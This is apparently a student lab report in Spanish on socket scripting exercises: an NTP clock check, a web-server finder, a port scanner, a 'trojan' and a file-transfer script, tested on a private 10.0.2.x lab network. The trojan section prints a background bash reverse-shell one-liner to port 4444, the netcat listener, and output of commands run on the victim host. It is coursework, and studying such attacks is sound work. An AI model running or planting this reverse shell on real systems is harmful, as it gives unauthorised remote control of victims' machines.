Ejercicios Sockets

- Haz un script que evalúe la hora de nuestra máquina respecto a la hora de un servidor NTP.
 - El sistema nos dará un aviso en caso de que la diferencia sea mayor de un minuto

Script utilizado

```
daniel@daniel:~/scripts/script_socket$ ./hora_ntp.sh
Hora incorrecte
```

Muestra de una de las posibles opciones (hora incorrecta)

```
daniel@daniel:~/scripts/script_socket$ cat </dev/tcp/time.nist.gov/13 | grep NIST | awk '{print $3}'
14:50:38
daniel@daniel:~/scripts/script_socket$ date | awk '{print $4}'
15:50:39
```

Muestra de las horas en cuestión

 Haz un script que nos permita ver todos los links a otras páginas web desde la página sobre la que hacemos el análisis

NO FER

 Haz un script que te permita localizar servidores web en un determinado rango de direcciones IP dadas por el cliente.

Script utilizado

```
daniel@daniel:~/scripts/script_socket$ ./escan_web.sh_10.0.2.95 10.0.2.101

root@daniel:~# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Ejemplo de uso y muestra de servidor http hosteando una carpeta por puerto 80 para poder "localizar servidor web"

```
daniel@daniel:~/scripts/script_socket$ ./escan_web.sh 10.0.2.95 10.0.2.101
Port 80 en IP - 10.0.2.99 ---- [ OPEN ]
daniel@daniel:~/scripts/script_socket$
```

Resultado del script donde detecta puerto 80 en la IP mostrada

 Haz un escáner de puertos para una red determinada por el cliente. El script nos dará todos los puertos asociados a cada una de las ip de la red.

Script utilizado

```
root@daniel:~# python3 –m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Abrimos puerto 80 con un http.server para detectarlo

```
daniel@daniel:~/scripts/script_socket$ ./nMop.sh 10.0.2.99 10.0.2.101 10.0.2.99 port 22 --- OBERT 10.0.2.99 port 80 --- OBERT 10.0.2.101 port 22 --- OBERT
```

Resultado del script donde muestra puertos 22 y 80 abiertos para las diferentes IP dentro del rango introducido.

 Haz un script que actúe como troyano en la máquina atacada (el script se ejecuta en background y se conecta al atacante). Una vez el atacante tenga conexión (permanentemente escucha el puerto), este le enviará una serie de comandos a ejecutar sobre la maquina atacada.

```
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.0.2.99/4444 0>&1_&"
~
```

Código del "troyano"

```
daniel@daniel:~/scripts/script_socket$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group defa
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UF
00
    link/ether 00:0c:29:bd:1f:55 brd ff:ff:ff:ff:ff
    altname enp2s1
    inet 10.0.2.99/24 brd 10.0.2.255 scope global dynamic ens33
        valid_lft 1023sec preferred_lft 1023sec
    inet6 fe80::20c:29ff:febd:1f55/64 scope link
        valid_lft forever preferred_lft forever
daniel@daniel:~/scripts/script_socket$ nc -nlvp 4444
listening on [any] 4444 ...
```

Comprobación de IP del atacante y escuchamos posible conexión con puerto de entrada 4444

```
daniel@hackeame:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group defaul
    link/loopback 00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP gro
    link/ether 00:0c:29:05:d0:fb brd ff:ff:ff:ff:
    altname enp2s1
    inet 10.0.2.101/24 metric 100 brd 10.0.2.255 scope global dynamic ens33
        valid_lft 1047sec preferred_lft 1047sec
    inet6 fe80::20c:29ff:fe05:d0fb/64 scope link
        valid_lft forever preferred_lft forever
daniel@hackeame:~$ ./troyano.sh
daniel@hackeame:~$ ./troyano.sh
```

Comprobación de IP de la victima y ejecución del troyano (Observamos que al ser en segundo plano no se observa la conexión)

```
daniel@daniel:~/scripts/script_socket$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.0.2.99] from (UNKNOWN) [10.0.2.101] 42162
bash: initialize_job_control: no job control in background: Bad file descriptor
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

daniel@hackeame:~$ hostname
hostname
hackeame
daniel@hackeame:~$ _
```

Reverse shell en maquina atacante

Haz un script que nos permita intercambiar ficheros entre máquinas remotas

Script maquina que contiene archivo

```
daniel@hackeame:~$ cat entrada.txt
daniel@hackeame:~$ _
```

Archivo donde irá a parar la transferencia

```
root@daniel:/home/daniel# ./transferencia.sh 10.0.2.101 4444 script_ping_ssh.sh
```

Ejecución de Script para transferir script_ping_ssh.sh a la IP indicada a través del puerto introducido

Muestra de la recepción del script y redirección al archivo entrada.txt